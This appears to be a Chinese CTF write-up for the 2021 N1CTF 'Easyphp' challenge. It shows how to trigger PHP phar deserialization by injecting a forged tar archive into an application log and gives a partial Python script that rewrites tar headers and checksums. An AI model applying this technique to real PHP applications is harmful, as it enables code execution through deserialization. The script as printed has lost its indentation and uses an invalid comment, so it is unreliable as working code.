首页 > 编程语言 >[2021N1CTF国际赛]Easyphp-Wp

[2021N1CTF国际赛]Easyphp-Wp

时间:2022-11-03 21:05:28浏览次数:41  
标签:tar checksum phar new char Wp Easyphp 2021N1CTF data


文章目录

  • ​​写在前面​​
  • ​​Wp​​
  • ​​简单分析​​
  • ​​小实验验证猜想可效性​​
  • ​​构造tar​​
  • ​​参考文章​​

写在前面

[2021N1CTF国际赛]Easyphp-Wp_字符串

在各种带飞的情况下,web被带ak了,这里比较想写一个easyphp的wp,这题到结束也只有14个解,其他的懒得写了,本文也只是简单分析

Wp

简单分析

看看首页源码

[2021N1CTF国际赛]Easyphp-Wp_文件大小_02


再看这里很明显是触发phar反序列化

[2021N1CTF国际赛]Easyphp-Wp_php_03


如何插入数据是一个问题,这里没有上传,再看log.php

[2021N1CTF国际赛]Easyphp-Wp_php_04


关键部分源码是这个,我们就应该去想如何去构造,这里phar太难搞了,具体可以看看官方文档关于他的结构,后面最后四位肯定是GBMB多一位都不行,这里想到了tar,本来他也可以用来触发反序列化之前说过,并且不需要像phar那样去计算签名

[2021N1CTF国际赛]Easyphp-Wp_文件大小_05

小实验验证猜想可效性

先生成一个phar

[2021N1CTF国际赛]Easyphp-Wp_php_06


再生成一个tar

[2021N1CTF国际赛]Easyphp-Wp_字符串_07

下面做个实验,首先生成了一个tar与phar,在后面加点字符看看还能触发么

[2021N1CTF国际赛]Easyphp-Wp_字符串_08

验证一下确实可行

[2021N1CTF国际赛]Easyphp-Wp_字符串_09

[2021N1CTF国际赛]Easyphp-Wp_php_10


那么我们就可以去尝试构造了对吧

构造tar

首先我们要知道tar只是一个归档文件,并不进行压缩,这点别记错了
这是官方文档对于tar的介绍:https://jackrabbit.apache.org/oak/docs/nodestore/segment/tar.html
来看看他的结构

struct tar_header
  {
   char name[100];
   char mode[8];
   char uid[8];
   char gid[8];
   char size[12];
   char mtime[12];
   char chksum[8];
   char typeflag;
   char linkname[100];
   char magic[6];
   char version[2];
   char uname[32];
   char gname[32];
   char devmajor[8];
   char devminor[8];
   char prefix[155];
   char padding[12];
  };

以上是Tar中保存文件信息的数据结构,其后跟着的就是文件的内容。

  • 其中,文件大小,修改时间,checksum都是存储的对应的八进制字符串,字符串最后一个字符为空格字符
  • checksum的计算方法为出去checksum字段其他所有的512-8共504个字节的Ascii码相加的值再加上256
  • 文件内容以512字节为一个块进行分割,最后一个块不足部分以0补齐
  • 多个文件合成的tar,存储格式为:tar的头结构,文件体,tar头,文件体……。当所有文件都存储完成后,在文件末尾补上一个全零的tar结构(即1024个零值)
  • 所有的tar文件大小都是512的倍数
  • 一个空的文件,打包成tar后,为512*3个字节

简单写个脚本,剩下部分自己写吧,留一点算作业,这里用python2,python3的ord有限制,不好用

额多说一句这个make_tar传入的文件是tar不是phar哈,怎么生成tar,第一步创建.phar文件夹,第二步往.metadata.bin里面写序列化内容即可,这里就是serialize(new FLAG);懂得都得

def calc_checksum(data):
final = 0
calc_data = data[:148]+data[156:512]
for i in calc_data:
final += ord(str(i))
return final+256


def make_tar(name):
with open(name, "rb") as f:
data = f.read()
type = "y4tacker"
//"2021-11-20 18:45:53"这个时间戳需要自己生成下很简单的百度都有,我懒了
generated_metadata = "Time: " + "2021-11-20 18:45:53" + " IP: [], REQUEST: [log_type=" + type + "], CONTENT: ["
new_name = generated_metadata.ljust(100,'\x00').encode()
new_data = new_name + data[100:]
checksum = calc_checksum(new_data)
new_checksum = oct(checksum).rjust(7,'0').encode()+b'\x00'
new_data = new_name + data[100:148] + new_checksum + data[156:]
with open("get_flag.log", "wb") as f:
f.write(new_data)
f.write(b"]\n")

可以看到伪造完的结果,打开做个这个生成的tar

[2021N1CTF国际赛]Easyphp-Wp_文件大小_11

最终获得flag

[2021N1CTF国际赛]Easyphp-Wp_php_12



标签:tar,checksum,phar,new,char,Wp,Easyphp,2021N1CTF,data
From: https://blog.51cto.com/u_15847702/5821095

相关文章